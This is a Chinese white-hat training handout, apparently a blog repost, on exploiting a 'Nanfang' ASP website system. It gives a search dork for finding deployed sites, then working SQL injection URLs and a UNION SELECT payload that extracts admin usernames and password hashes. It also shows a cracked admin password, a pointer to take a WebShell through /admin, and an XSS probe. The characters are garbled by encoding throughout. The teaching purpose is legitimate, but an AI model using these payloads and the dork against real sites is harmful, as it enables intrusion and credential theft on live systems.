米斯特白帽培訓(xùn)講義 實(shí)戰(zhàn)篇 南方 0day

米斯特白帽培訓(xùn)講義 實(shí)戰(zhàn)篇 南方 0day

講師:gh0stkey

整理:飛龍

協(xié)議:CC BY-NC-SA 4.0

搜索

關(guān)鍵詞:inurl:"HomeMarket.asp"。

下載與部署

http://www.jb51.net/article/5336.htm

SQL 注入

我們打算檢測(cè)其中的 SQL 注入漏洞,由于 ASP 代碼基本沒有什么好的過濾,一般一查一個(gè)準(zhǔn)。為了搜索 SQL 注入漏洞,我們可以使用sql、conn這類名稱、或者execute這類函數(shù)來定位到數(shù)據(jù)庫查詢低嗎位置。

比如在NewsType.asp的 14 ~ 32 行,我們發(fā)現(xiàn)了:


<%
' ...
BigClass=request("BigClass")
SmallClass=request("SmallClass")
' ...
%>
<%
if BigClass<>"" and SmallClass<>"" then
sql="select  * from News where BigClassName='"& BigClass &"' and  SmallClassName='"& SmallClass &"' order by AddDate desc"
set rs=conn.execute(sql)
do while not rs.eof 
%>

我們看到這是文本型的參數(shù),也就是說我們注入的時(shí)候要想辦法閉合單引號(hào)。而且它用的是 Access 數(shù)據(jù)庫,我們沒辦法像 MySQL 和 SQLServer 那樣使用--來注釋。

我們照舊為SmallClass輸入' and '1'='1,構(gòu)造的 URL 為NewsType.asp?SmallClass=%27%20and%20%271%27=%271,發(fā)現(xiàn)正常。

輸入' and '1'='2,構(gòu)造的 URL 為NewsType.asp?SmallClass=%27%20and%20%271%27=%272,發(fā)現(xiàn)錯(cuò)誤。

接下來我們查看源碼目錄下的Databases/0791idc.mdb,知道了News表一共有十個(gè)字段。

之后輸入' and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin where '1'='1,發(fā)現(xiàn)顯示 2 和 9:

之后就很簡(jiǎn)單了,我們先看看admin表里面的用戶名和密碼都叫做啥。我們把 2 替換為username,9 替換為password。

然后把f3a976c77dc7264c送到 pmd5 解密,結(jié)果為060618。

之后可以從/admin訪問后臺(tái),登錄并繼續(xù)拿 WebShell。

XSS

我們點(diǎn)擊網(wǎng)站右上角的“聯(lián)系我們”,可以發(fā)現(xiàn)這個(gè)頁面的 URL 中出現(xiàn)了這四個(gè)字,頁面中也出現(xiàn)了這四個(gè)字。

然后我們把 URL 中的Title參數(shù)改成1

這就提示我們這里面可能會(huì)出現(xiàn) XSS,我們改成<script>alert(1)</script>

我們看到源代碼中出現(xiàn)了這個(gè)東西。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 注入攻擊的分類 1.沒有正確過濾轉(zhuǎn)義字符 在用戶的輸入沒有為轉(zhuǎn)義字符過濾時(shí),就會(huì)發(fā)生這種形式的注入式攻擊,它會(huì)被傳...
    查無此人asdasd閱讀 1,842評(píng)論 0 5
  • 漏洞挖掘與利用 測(cè)試環(huán)境的搭建 引言 為什么要搭建本地測(cè)試環(huán)境?我想下面的東西能夠回答你的疑惑。 第二百八十五條 ...
    作業(yè)沒寫完閱讀 3,580評(píng)論 0 4
  • 姓名:于川皓 學(xué)號(hào):16140210089 轉(zhuǎn)載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 2,050評(píng)論 0 2
  • [SQL注入攻擊] SQL注入攻擊是黑客對(duì)數(shù)據(jù)庫進(jìn)行攻擊的常用手段之一。隨著B/S模式應(yīng)用開發(fā)的發(fā)展,使用這種模式...
    James黃杰閱讀 2,925評(píng)論 0 30
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,715評(píng)論 19 139

友情鏈接更多精彩內(nèi)容